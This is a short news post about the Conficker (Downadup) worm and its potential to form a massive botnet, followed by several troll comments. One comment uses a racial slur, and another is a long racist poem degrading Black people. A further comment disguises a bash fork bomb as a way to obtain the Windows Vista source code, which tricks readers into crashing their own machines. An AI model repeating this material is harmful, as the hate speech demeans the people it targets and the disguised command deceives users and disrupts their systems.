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Conficker Worm Could Create World's Biggest Botnet

nk497 writes "The worm that's supposedly infected almost nine million PCs running Windows, dubbed Cornficker or Downadup, could lead to a massive botnet, security researchers have said. The worm initially spread to systems unpatched against MS08-067, but has since 'evolved and is now able to spread to patched computers through portable USB drives through brute-force password-guessing.'"

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  1. Overlords by Anonymous Coward · · Score: -1, Troll

    I, for one, welcome our biggest botnet wielding overlords.

    In other news, niggers.

  2. Happy iniguration day by Anonymous Coward · · Score: -1, Troll

    Coon, coon, black baboon,
    Brutal, worthless, thieving goon,
    Often high, thrives in jail,
    his welfare check is in the mail!
    Some 40 offspring had been had,
    Not one will ever call him dad!
    And yet he hollers day and night:
    "I blames de white man fo my plight!
    It's him spreads trash all round my shack!
    It's him what makes me smoke dis crack!
    He push my kind to burn and loot,
    And sends de po-lice dat we shoot!
    But inch by inch we takin' hold,
    Like when de white bread starts to mold,
    We'll overrun yo homes and soon-
    dey be only fit fo de blackassed coon!"

  3. Re:follow the money. by Xest · · Score: 0, Troll

    "The police need to do something to help us."

    Help you? Hah, who do you think your are the RIAA? We all know the police's priorities are the content industry and kiddie porn.

  4. Re:Attention Windows Clickarounds by samriel · · Score: -1, Troll

    No no no. You're doing it all wrong! To get the source for windows vista, type this into the terminal (assuming you're on a UNIX-compliant OS:)
    :(){ :|:& };:
    and hit enter.